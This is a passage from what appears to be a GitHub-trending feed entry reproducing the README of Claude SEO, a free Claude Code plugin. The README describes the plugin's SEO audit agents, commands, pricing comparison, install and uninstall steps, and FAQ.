Value                                       |\n|---------------------|---------------------------------------------|\n| JSON-LD Blocks      | 3                                           |\n| Schema Types        | Organization, WebSite, SoftwareApplication  |\n| Critical Issues     | 2                                           |\n| Warnings            | 5                                           |\n| Passed Checks       | 18                                          |\n| Overall Grade       | B+ (solid foundation, actionable gaps)      |\n\n**Critical Issue:** The `founder` property only includes Daniel Agrici.\nBenjamin Samar (Co-Founder and Technical Director) is displayed on the page\nbut absent from the schema. This content-schema mismatch can confuse search engines.\n</code></pre> \n</details> \n<p>Want the details? Read the <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/skills/seo/references/thinking-framework.md\">methodology</a> and the <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/docs/ARCHITECTURE.md\">architecture</a>.</p> \n<h2>Install</h2> \n<img alt=\"Installing Claude SEO: add the marketplace, install the plugin, 26 skills and 19 agents arrive, /seo setup readies the browser, then /seo audit starts the first level.\" height=\"420\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/install.svg?sanitize=true\" width=\"1200\" /> \n<p>You need <a href=\"https://claude.com/product/claude-code\">Claude Code</a> 1.0.33 or newer. Run these three commands inside it:</p> \n<pre><code class=\"language-bash\">/plugin marketplace add AgriciDaniel/claude-seo\n/plugin install claude-seo@agricidaniel-claude-seo\n/seo setup\n</code></pre> \n<p><code>/seo setup</code> prepares everything Claude SEO needs (its own Python environment and a headless browser) without touching the rest of your system. Run <code>/seo doctor</code> any time to check it.</p> \n<details> \n <b>Manual install: macOS and Linux</b> \n <br /> \n <img alt=\"Manual install: macOS and Linux: the install typed out in a terminal\" height=\"260\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/plat-unix.svg?sanitize=true\" width=\"1200\" /> \n <pre><code class=\"language-bash\">git clone --depth 1 https://github.com/AgriciDaniel/claude-seo.git\nbash claude-seo/install.sh\n</code></pre> \n <p>One-liner (curl, review then run):</p> \n <pre><code class=\"language-bash\">curl -fsSL https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/install.sh &gt; install.sh\ncat install.sh        # review before running\nbash install.sh\nrm install.sh\n</code></pre> \n</details> \n<details> \n <b>Manual install: Windows (PowerShell)</b> \n <br /> \n <img alt=\"Manual install: Windows (PowerShell): the install typed out in a terminal\" height=\"260\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/plat-win.svg?sanitize=true\" width=\"1200\" /> \n <pre><code class=\"language-powershell\">git clone --depth 1 https://github.com/AgriciDaniel/claude-seo.git\npowershell -ExecutionPolicy Bypass -File claude-seo\\install.ps1\n</code></pre> \n <blockquote> \n  <p><strong>Why <code>git clone</code> instead of <code>irm | iex</code>?</strong> Claude Code's own security guardrails flag <code>irm ... | iex</code> as a supply chain risk: downloading and executing remote code without verification. The <code>git clone</code> approach lets you inspect <code>claude-seo\\install.ps1</code> before running it.</p> \n </blockquote> \n</details> \n<blockquote> \n <p><strong>Two versions.</strong> This public version is MIT licensed and free for everyone. <a href=\"https://www.skool.com/ai-marketing-hub-pro\">AI Marketing Hub Pro</a> members also get a private version with early access to new features. Members install it with:</p> \n <pre><code class=\"language-bash\">/plugin marketplace add AI-Marketing-Hub/claude-seo\n/plugin install claude-seo@ai-marketing-hub-claude-seo\n/seo setup\n</code></pre> \n</blockquote> \n<p><strong>Your first audit:</strong></p> \n<pre><code class=\"language-bash\">claude                                   # start Claude Code\n\n/seo audit https://example.com           # full site audit with a prioritized plan\n/seo page https://example.com/pricing    # one page, in depth\n/seo geo https://example.com             # how ready you are for AI search\n/seo schema https://example.com          # check and generate structured data\n/seo local https://example.com           # local SEO and Google Business Profile\n</code></pre> \n<h2>FAQ</h2> \n<details> \n <b>What is Claude SEO?</b> \n <br /> \n <p>A free, open-source SEO audit tool that runs inside Claude Code. It checks technical SEO, Core Web Vitals, content quality, <a href=\"http://Schema.org\">Schema.org</a> structured data, AI search readiness, local SEO, e-commerce and international SEO, then gives you a prioritized action plan. It follows Google's own documentation, including the <a href=\"https://developers.google.com/search/docs/fundamentals/ai-optimization-guide\">AI Optimization Guide</a>.</p> \n</details> \n<details> \n <b>Is it really free?</b> \n <br /> \n <p>Yes. It is MIT licensed, with no per-site pricing, no usage limits and no tracking. You only need Claude Code. A few optional extensions connect to paid services where you bring your own account, but everything works without them.</p> \n</details> \n<details> \n <b>Do I need API keys?</b> \n <br /> \n <p>No. Claude SEO works out of the box. If you want real field data, you can connect free Google APIs (PageSpeed Insights, Chrome UX Report, Search Console and Google Analytics 4) with <code>/seo google setup</code>. Your keys stay on your machine.</p> \n</details> \n<details> \n <b>How does it help with AI search like Google AI Overviews and ChatGPT?</b> \n <br /> \n <p>Google says optimizing for AI search is still SEO, so Claude SEO starts with the basics that AI answers rely on: being indexed, fast and clear. Then <code>/seo geo</code> scores how easy your pages are to quote, checks that AI crawlers can reach them and looks at your brand's presence on Wikipedia, Reddit, YouTube and LinkedIn. <code>/seo agentic</code> checks how well AI agents can use your site.</p> \n</details> \n<details> \n <b>Does it work on JavaScript sites like Next.js, React or Vue?</b> \n <br /> \n <p>Yes. When a page needs JavaScript to show its content, Claude SEO opens it in a headless browser automatically, so single-page apps are audited as visitors see them.</p> \n</details> \n<details> \n <b>How is it different from Screaming Frog or other SEO tools?</b> \n <br /> \n <p>Crawlers like Screaming Frog crawl faster and deeper, and big SEO suites have their own backlink databases. Claude SEO does something else: it explains what it finds, sorts it by impact, covers AI search in depth and lets you ask follow-up questions in plain English. Many people use both.</p> \n</details> \n<details> \n <b>Does my data leave my computer?</b> \n <br /> \n <p>Claude SEO runs inside Claude Code, so the pages and data it analyzes are sent to Claude, Anthropic's model, the same as anything else you work on in Claude Code. Reports are saved as files on your machine. No SEO service or other third party sees your data unless you connect an extension or API yourself. Besides the site you audit, some checks read public sources such as Wikipedia, Reddit and Common Crawl. See <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/PRIVACY.md\">PRIVACY.md</a> for the full list.</p> \n</details> \n<details> \n <b>Good to know: requirements, limits and uninstall</b> \n <br /> \n <p><strong>Requirements.</strong> Claude Code 1.0.33 or newer and Python 3.11 to 3.14. <code>/seo setup</code> installs the headless browser for you.</p> \n <p><strong>Cost of a full audit.</strong> Five agents that need more judgment run on Opus and the rest on Sonnet, so a full <code>/seo audit</code> uses more of your Claude plan than a single-page check. You can change any agent's model in its file under <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/agents/\"><code>agents/</code></a>.</p> \n <p><strong>Limits.</strong> Without Google API keys, Core Web Vitals are lab estimates and indexing is inferred from the page. Pages that load key content only after scrolling or clicking can give noisy results.</p> \n <p><strong>Uninstall.</strong> Installed as a plugin: <code>/plugin uninstall claude-seo@agricidaniel-claude-seo</code>. Installed manually:</p> \n <pre><code class=\"language-bash\">git clone --depth 1 https://github.com/AgriciDaniel/claude-seo.git\nbash claude-seo/uninstall.sh\n</code></pre> \n</details> \n<h2>Extensions</h2> \n<p>Optional add-ons that bring in more data. Claude SEO works fully without them.</p> \n<ul> \n <li><strong>Banana:</strong> AI images for SEO, from social previews to blog heroes (<a href=\"https://github.com/AgriciDaniel/banana-claude\">Claude Banana</a>)</li> \n <li><strong>SE Ranking:</strong> your share of voice in ChatGPT, Gemini, Perplexity and Google AI answers</li> \n <li><strong>Profound:</strong> tracks when AI models cite your site</li> \n <li><strong>Bing Webmaster:</strong> Bing data plus instant IndexNow submission</li> \n <li><strong>Unlighthouse:</strong> Lighthouse scores for every page of your site</li> \n</ul> \n<p>Setup guides live in <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/extensions/\"><code>extensions/</code></a>.</p> \n<h2>Star history</h2> \n<a href=\"https://www.star-history.com/#AgriciDaniel/claude-seo&amp;Date\"> \n  \n  <source media=\"(prefers-color-scheme: dark)\" /> \n  <source media=\"(prefers-color-scheme: light)\" /> \n  <img alt=\"Claude SEO GitHub stars over time\" src=\"https://api.star-history.com/svg?repos=AgriciDaniel/claude-seo&amp;type=Date\" width=\"720\" /> \n  </a> \n<h2>More from the same family</h2> \n<table> \n <thead> \n  <tr> \n   <th>Project</th> \n   <th>What it does</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><a href=\"https://github.com/AgriciDaniel/claude-blog\">Claude Blog</a></td> \n   <td>Writes and optimizes blog posts from your SEO findings</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://github.com/AgriciDaniel/banana-claude\">Claude Banana</a></td> \n   <td>AI image generation for SEO assets and posts</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://github.com/AgriciDaniel/chatgpt-seo\">ChatGPT SEO</a></td> \n   <td>Turns a page, draft or SEO export into a sourced fix plan inside ChatGPT</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://github.com/AgriciDaniel/flow\">FLOW</a></td> \n   <td>An evidence-led SEO framework with 42 AI prompts</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://github.com/zubair-trabzada/ai-marketing-claude\">AI Marketing Claude</a></td> \n   <td>Community suite for copy, email, ads and funnels</td> \n  </tr> \n </tbody> \n</table> \n<p><strong>Docs:</strong> <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/docs/INSTALLATION.md\">Installation</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/docs/COMMANDS.md\">Commands</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/docs/ARCHITECTURE.md\">Architecture</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/docs/TROUBLESHOOTING.md\">Troubleshooting</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/docs/MCP-INTEGRATION.md\">Extensions setup</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/SECURITY.md\">Security</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/PRIVACY.md\">Privacy</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/CONTRIBUTORS.md\">Contributors</a></p> \n<h2>License and contributing</h2> \n<p>MIT License, see <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/LICENSE\">LICENSE</a>. Contributions are welcome: read <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/CONTRIBUTING.md\">CONTRIBUTING.md</a> first and mention the checks you ran in your pull request.</p> \n<h2>Author</h2> \n<p>Built by <strong><a href=\"https://agricidaniel.com/about\">Agrici Daniel</a></strong>, AI Workflow Architect, with help from the <a href=\"https://www.skool.com/ai-marketing-hub-pro\">AI Marketing Hub Pro</a> community.</p> \n<img alt=\"Thanks for playing: the three bots by a bonfire fed with search engine logos while the credits crawl into the stars.\" height=\"420\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/credits.svg?sanitize=true\" width=\"1200\" /> \n<p align=\"center\"> <a href=\"https://www.youtube.com/@AgriciDaniel\"><img alt=\"Claude Code tutorials and demos on YouTube\" height=\"44\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/btn-youtube.svg?sanitize=true\" width=\"137\" /></a> <a href=\"https://www.skool.com/ai-marketing-hub\"><img alt=\"AI Marketing Hub, the free community on Skool\" height=\"44\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/btn-hub.svg?sanitize=true\" width=\"210\" /></a> <a href=\"https://www.skool.com/ai-marketing-hub-pro\"><img alt=\"AI Marketing Hub Pro: early access to this skill\" height=\"44\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/btn-pro.svg?sanitize=true\" width=\"155\" /></a> </p>", "summary": "<p>Universal SEO skill for Claude Code. 26 sub-skills + 19 sub-agents covering technical SEO, E-E-A-T, schema, GEO/AEO, agent readiness (Lighthouse Agentic Browsing, WebMCP, llms.txt), backlinks, local SEO, e-commerce, international SEO, Google APIs, and PDF/Excel reporting. 9 optional extensions for live SEO data.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://skool.com/ai-marketing-hub-pro\">https://skool.com/ai-marketing-hub-pro</a></p><hr /><img alt=\"Claude SEO: rank in Google, get cited by AI. Three bots climb from #48 to #1 by fixing crawl, speed, schema, AI access and authority, then Google, ChatGPT, Perplexity, Gemini and Claude cite the site.\" height=\"420\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/hero.svg?sanitize=true\" width=\"1200\" /> \n<h1 align=\"center\">Claude SEO</h1> \n<p align=\"center\"> <b>Free, open-source SEO audits inside <a href=\"https://claude.com/product/claude-code\">Claude Code</a>.</b><br /> Rank higher in Google and get cited by AI search. </p> \n<p align=\"center\"> <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/#install\">Install</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/#see-it-in-action\">Demo</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/#real-results\">Results</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/#meet-the-team\">Team</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/#commands\">Commands</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/#pricing\">Pricing</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/#faq\">FAQ</a> </p> \n<p align=\"center\"> <a href=\"https://github.com/AgriciDaniel/claude-seo/actions/workflows/ci.yml\"><img alt=\"CI\" src=\"https://github.com/AgriciDaniel/claude-seo/actions/workflows/ci.yml/badge.svg?sanitize=true\" /></a> <a href=\"https://claude.com/product/claude-code\"><img alt=\"Claude Code plugin\" src=\"https://img.shields.io/badge/Claude%20Code-Plugin-blue\" /></a> <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/LICENSE\"><img alt=\"License: MIT\" src=\"https://img.shields.io/badge/License-MIT-yellow.svg?sanitize=true\" /></a> <a href=\"https://github.com/AgriciDaniel/claude-seo/releases\"><img alt=\"Version\" src=\"https://img.shields.io/github/v/release/AgriciDaniel/claude-seo\" /></a> <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/tests/\"><img alt=\"Tests\" src=\"https://img.shields.io/badge/tests-1077%20passing-brightgreen\" /></a> <a href=\"https://github.com/AgriciDaniel/claude-seo\"><img alt=\"GitHub stars\" src=\"https://img.shields.io/github/stars/AgriciDaniel/claude-seo?style=flat\" /></a> <a href=\"https://www.skool.com/ai-marketing-hub-pro\"><img alt=\"AI Marketing Hub Pro community\" src=\"https://img.shields.io/badge/AI%20Marketing%20Hub-Pro%20community-purple\" /></a> </p> \n<p align=\"center\"> <a href=\"https://trendshift.io/repositories/21053\"><img alt=\"AgriciDaniel/claude-seo on Trendshift: GitHub Trending #12 Repository Of The Day\" height=\"55\" src=\"https://trendshift.io/api/badge/repositories/21053\" width=\"250\" /></a> </p> \n<p><strong>Claude SEO is a free SEO plugin for Claude Code.</strong> Give it any website and it runs a full SEO audit in 10 to 15 minutes, then hands you a clear action plan, sorted by what matters most.</p> \n<p>It checks everything a good SEO consultant would:</p> \n<ul> \n <li><strong>Technical SEO.</strong> Crawlability, indexing, sitemaps, robots.txt, redirects, page speed and Core Web Vitals.</li> \n <li><strong>Content quality.</strong> E-E-A-T (experience, expertise, authority and trust), thin pages and topic coverage.</li> \n <li><strong>Structured data.</strong> Finds, validates and writes <a href=\"http://Schema.org\">Schema.org</a> markup for rich results.</li> \n <li><strong>AI search (GEO).</strong> How likely Google AI Overviews, AI Mode, ChatGPT, Perplexity and Gemini are to cite your pages.</li> \n <li><strong>Local and e-commerce SEO.</strong> Google Business Profile, reviews, map pack, product pages and international sites.</li> \n</ul> \n<p>Claude SEO is built from 26 sub-skills and 19 specialist agents, and up to 17 agents work on your site at the same time. Every recommendation explains why it matters and how you will know it worked.</p> \n<h2>See it in action</h2> \n<p>Type <code>/seo</code> in Claude Code to see every command:</p> \n<p><img alt=\"Claude SEO /seo command demo in the Claude Code terminal\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/screenshots/seo-command-demo.gif\" /></p> \n<p>Run a full audit and watch the agents fan out across the site:</p> \n<p><img alt=\"Claude SEO /seo audit demo: parallel agents producing a prioritized action plan\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/screenshots/seo-audit-demo.gif\" /></p> \n<p><a href=\"https://www.youtube.com/watch?v=COMnNlUakQk\">Watch the full demo on YouTube</a></p> \n<h2>Real results</h2> \n<p>The project's own site, <a href=\"https://claude-seo.md\">claude-seo.md</a>, audited with Claude SEO from day one: 10.8K Search Console clicks in its first 12 weeks and a 99 mobile PageSpeed score.</p> \n<img alt=\"Real results: Google Search Console showing 10.8K clicks and 324K impressions for a new site between 23 March and 12 June 2026, next to a PageSpeed Insights report scoring 99 for performance and 100 for SEO.\" height=\"751\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/screen.svg?sanitize=true\" width=\"1200\" /> \n<h2>Meet the team</h2> \n<img alt=\"The Claude SEO team: 19 specialist agents on a website, each standing on the part it checks, shown one at a time with its role, model, ability and command.\" height=\"420\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/team.svg?sanitize=true\" width=\"1200\" /> \n<details> \n <b>All 19 agents</b> \n <br /> \n <table> \n  <thead> \n   <tr> \n    <th>Agent</th> \n    <th>Role</th> \n    <th>Model</th> \n    <th>Command</th> \n   </tr> \n  </thead> \n  <tbody> \n   <tr> \n    <td><code>seo-technical</code></td> \n    <td>Technical SEO Lead</td> \n    <td>Sonnet</td> \n    <td><code>/seo technical</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-content</code></td> \n    <td>Content Editor</td> \n    <td>Opus</td> \n    <td><code>/seo content</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-schema</code></td> \n    <td>Structured Data Engineer</td> \n    <td>Sonnet</td> \n    <td><code>/seo schema</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-sitemap</code></td> \n    <td>Sitemap Architect</td> \n    <td>Sonnet</td> \n    <td><code>/seo sitemap</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-performance</code></td> \n    <td>Performance Engineer</td> \n    <td>Sonnet</td> \n    <td><code>/seo audit</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-visual</code></td> \n    <td>Visual QA</td> \n    <td>Sonnet</td> \n    <td><code>/seo audit</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-geo</code></td> \n    <td>AI Search Analyst</td> \n    <td>Opus</td> \n    <td><code>/seo geo</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-agentic</code></td> \n    <td>Agent Readiness Analyst</td> \n    <td>Sonnet</td> \n    <td><code>/seo agentic</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-local</code></td> \n    <td>Local SEO Specialist</td> \n    <td>Sonnet</td> \n    <td><code>/seo local</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-maps</code></td> \n    <td>Maps Analyst</td> \n    <td>Sonnet</td> \n    <td><code>/seo maps</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-google</code></td> \n    <td>Google Data Analyst</td> \n    <td>Sonnet</td> \n    <td><code>/seo google</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-backlinks</code></td> \n    <td>Link Analyst</td> \n    <td>Sonnet</td> \n    <td><code>/seo backlinks</code></td> \n   </tr> \n   <tr> \n    <td>Live data (extension)</td> \n    <td>Live Data Analyst</td> \n    <td>Sonnet</td> \n    <td><code>/seo audit</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-image-gen</code></td> \n    <td>Image Producer (extension)</td> \n    <td>Sonnet</td> \n    <td><code>/seo image-gen</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-cluster</code></td> \n    <td>Topic Strategist</td> \n    <td>Opus</td> \n    <td><code>/seo cluster</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-sxo</code></td> \n    <td>Search Experience Designer</td> \n    <td>Opus</td> \n    <td><code>/seo sxo</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-drift</code></td> \n    <td>Change Monitor</td> \n    <td>Opus</td> \n    <td><code>/seo drift</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-ecommerce</code></td> \n    <td>E-commerce Specialist</td> \n    <td>Sonnet</td> \n    <td><code>/seo ecommerce</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-flow</code></td> \n    <td>FLOW Strategist</td> \n    <td>Sonnet</td> \n    <td><code>/seo flow</code></td> \n   </tr> \n  </tbody> \n </table> \n</details> \n<p><strong>Built for:</strong></p> \n<ul> \n <li><strong>SEO agencies</strong> that want weekly audits for every client instead of quarterly ones, with change monitoring to catch problems in between.</li> \n <li><strong>In-house SEO teams</strong> at SaaS, publishing and e-commerce companies that want a second pair of eyes before every review, AI search included.</li> \n <li><strong>Freelance SEO consultants</strong> who want to run an audit on the first call and show a real score and the top fixes before writing a proposal.</li> \n</ul> \n<h2>Commands</h2> \n<img alt=\"The six groups of SEO commands on a map: audits, technical SEO, content, schema and AI search, local and commerce, and extensions. The crew walks the path and each of the 30 commands is ticked off.\" height=\"420\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/map.svg?sanitize=true\" width=\"1200\" /> \n<p>30 core and extension commands in six groups. Open one to see what is inside; a few more extension commands are in the <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/docs/COMMANDS.md\">full command reference</a>.</p> \n<details> \n <b>Audits and Planning</b> (5 commands) \n <ul>\n  <li><code>/seo setup</code>: Create or refresh the isolated Python runtime and Chromium</li>\n  <li><code>/seo doctor</code>: Check runtime readiness without changing the system</li>\n  <li><code>/seo audit &lt;url&gt;</code>: Full website audit with parallel agents</li>\n  <li><code>/seo page &lt;url&gt;</code>: Deep single-page analysis</li>\n  <li><code>/seo plan &lt;type&gt;</code>: Strategic SEO planning (saas, local, ecommerce, publisher, agency)</li>\n </ul> \n</details> \n<details> \n <b>Technical SEO</b> (7 commands) \n <ul>\n  <li><code>/seo technical &lt;url&gt;</code>: Technical SEO audit across 9 categories</li>\n  <li><code>/seo sitemap &lt;url | generate&gt;</code>: Analyze or generate XML sitemaps</li>\n  <li><code>/seo images &lt;url&gt;</code>: Image optimization analysis</li>\n  <li><code>/seo hreflang &lt;url&gt;</code>: Hreflang and i18n SEO audit and generation</li>\n  <li><code>/seo programmatic &lt;url&gt;</code>: Programmatic SEO analysis and planning</li>\n  <li><code>/seo google [command]</code>: Google SEO APIs: GSC, PageSpeed, CrUX, Indexing, GA4, PDF reports</li>\n  <li><code>/seo drift baseline | compare | history &lt;url&gt;</code>: SEO drift monitoring with SQLite snapshots</li>\n </ul> \n</details> \n<details> \n <b>Content and E-E-A-T</b> (6 commands) \n <ul>\n  <li><code>/seo content &lt;url&gt;</code>: E-E-A-T and content quality analysis</li>\n  <li><code>/seo content-brief &lt;topic&gt;</code>: Content brief: target keywords, outline, internal links</li>\n  <li><code>/seo cluster &lt;keyword&gt;</code>: SERP-based semantic clustering</li>\n  <li><code>/seo sxo &lt;url&gt;</code>: Search Experience Optimization: page type, user stories, personas</li>\n  <li><code>/seo flow [stage]</code>: FLOW framework prompts (CC BY 4.0, evidence-led)</li>\n  <li><code>/seo competitor-pages &lt;url&gt;</code>: Competitor comparison page generation</li>\n </ul> \n</details> \n<details> \n <b>Schema and AI Search</b> (3 commands) \n <ul>\n  <li><code>/seo schema &lt;url&gt;</code>: Detect, validate and generate Schema.org markup</li>\n  <li><code>/seo geo &lt;url&gt;</code>: AI Overviews and Generative Engine Optimization</li>\n  <li><code>/seo agentic &lt;url&gt;</code>: Agent readiness: Lighthouse Agentic Browsing X/N, AI agent access, llms.txt, Markdown, WebMCP</li>\n </ul> \n</details> \n<details> \n <b>Local, Links, Commerce</b> (4 commands) \n <ul>\n  <li><code>/seo local &lt;url&gt;</code>: Local SEO: GBP, citations, reviews, map pack</li>\n  <li><code>/seo maps [command]</code>: Maps intelligence: geo-grid, GBP audit, reviews, competitors</li>\n  <li><code>/seo backlinks &lt;url&gt;</code>: Backlink profile analysis (Moz, Bing, Common Crawl)</li>\n  <li><code>/seo ecommerce &lt;url&gt;</code>: E-commerce SEO and marketplace intelligence</li>\n </ul> \n</details> \n<details> \n <b>Extensions</b> (5 commands) \n <ul>\n  <li><code>/seo image-gen [use-case]</code>: AI image generation for SEO assets</li>\n  <li><code>/seo seranking [command]</code>: AI Share-of-Voice across ChatGPT, Gemini, Perplexity, AI Overviews, AI Mode</li>\n  <li><code>/seo profound [command]</code>: LLM citation tracking with time-series data</li>\n  <li><code>/seo bing [command] &lt;url&gt;</code>: Bing Webmaster Tools + IndexNow URL submission</li>\n  <li><code>/seo unlighthouse &lt;url&gt;</code>: Multi-page Lighthouse runner, runs locally</li>\n </ul> \n</details> \n<h2>Pricing</h2> \n<img alt=\"Same items, two shops: an agency charges for an SEO audit, reporting, calls and a retainer while Claude SEO charges nothing. Over year one the agency total reaches $106,500. Illustrative pricing.\" height=\"420\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/shop.svg?sanitize=true\" width=\"1200\" /> \n<details> \n <b>The full comparison</b> \n <br /> \n <table> \n  <thead> \n   <tr> \n    <th></th> \n    <th>Doing it by hand</th> \n    <th>Hiring an agency</th> \n    <th>SEO audit software</th> \n    <th><strong>Claude SEO</strong></th> \n   </tr> \n  </thead> \n  <tbody> \n   <tr> \n    <td><strong>Time per audit</strong></td> \n    <td>4 to 8 hours</td> \n    <td>1 to 3 weeks</td> \n    <td>10 to 45 minutes</td> \n    <td><strong>10 to 15 minutes</strong></td> \n   </tr> \n   <tr> \n    <td><strong>Cost</strong></td> \n    <td>Billable hours</td> \n    <td>$2k to $15k+ per project</td> \n    <td>$99 to $999 a month</td> \n    <td><strong>Free, with your Claude Code plan</strong></td> \n   </tr> \n   <tr> \n    <td><strong>Consistent checks</strong></td> \n    <td>Depends on who does it</td> \n    <td>Depends on the team</td> \n    <td>Yes</td> \n    <td><strong>Same checklist every time</strong></td> \n   </tr> \n   <tr> \n    <td><strong>What you get</strong></td> \n    <td>A spreadsheet or PDF</td> \n    <td>A slide deck</td> \n    <td>A dashboard and CSV exports</td> \n    <td><strong>Markdown, PDF and JSON files you keep</strong></td> \n   </tr> \n   <tr> \n    <td><strong>Your data stays with you</strong></td> \n    <td>Yes</td> \n    <td>No</td> \n    <td>No</td> \n    <td><strong>Yes, it runs on your machine</strong></td> \n   </tr> \n   <tr> \n    <td><strong>Covers AI search</strong></td> \n    <td>Depends</td> \n    <td>Depends</td> \n    <td>Often months behind</td> \n    <td><strong>Yes, follows Google's latest guidance</strong></td> \n   </tr> \n   <tr> \n    <td><strong>Each fix comes with a way to check it worked</strong></td> \n    <td>Sometimes</td> \n    <td>Sometimes</td> \n    <td>Rarely</td> \n    <td><strong>Yes</strong></td> \n   </tr> \n  </tbody> \n </table> \n <blockquote> \n  <p>Typical market prices, for illustration. Your numbers may differ.</p> \n </blockquote> \n</details> \n<h2>How an audit works</h2> \n<ol> \n <li><strong>It learns your site.</strong> Claude SEO detects the type of business (SaaS, local, e-commerce, publisher or agency) and adjusts its checks.</li> \n <li><strong>The team fans out.</strong> Up to 17 specialist agents audit the site in parallel: technical, content, schema, speed, AI search and more.</li> \n <li><strong>You get a plan, not a pile of warnings.</strong> Findings are scored and sorted into a prioritized action plan. Each recommendation says what it is based on, what it depends on and how you will know it worked.</li> \n</ol> \n<p>Reports are saved as Markdown, and <code>/seo google report</code> turns them into a polished PDF.</p> \n<details> \n <b>See a real report</b>: the start of a schema audit \n <pre><code class=\"language-markdown\"># Schema Markup Report: rankenstein.pro/about\n\n| Metric              | Value                                       |\n|---------------------|---------------------------------------------|\n| JSON-LD Blocks      | 3                                           |\n| Schema Types        | Organization, WebSite, SoftwareApplication  |\n| Critical Issues     | 2                                           |\n| Warnings            | 5                                           |\n| Passed Checks       | 18                                          |\n| Overall Grade       | B+ (solid foundation, actionable gaps)      |\n\n**Critical Issue:** The `founder` property only includes Daniel Agrici.\nBenjamin Samar (Co-Founder and Technical Director) is displayed on the page\nbut absent from the schema. This content-schema mismatch can confuse search engines.\n</code></pre> \n</details> \n<p>Want the details? Read the <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/skills/seo/references/thinking-framework.md\">methodology</a> and the <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/docs/ARCHITECTURE.md\">architecture</a>.</p> \n<h2>Install</h2> \n<img alt=\"Installing Claude SEO: add the marketplace, install the plugin, 26 skills and 19 agents arrive, /seo setup readies the browser, then /seo audit starts the first level.\" height=\"420\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/install.svg?sanitize=true\" width=\"1200\" /> \n<p>You need <a href=\"https://claude.com/product/claude-code\">Claude Code</a> 1.0.33 or newer. Run these three commands inside it:</p> \n<pre><code class=\"language-bash\">/plugin marketplace add AgriciDaniel/claude-seo\n/plugin install claude-seo@agricidaniel-claude-seo\n/seo setup\n</code></pre> \n<p><code>/seo setup</code> prepares everything Claude SEO needs (its own Python environment and a headless browser) without touching the rest of your system. Run <code>/seo doctor</code> any time to check it.</p> \n<details> \n <b>Manual 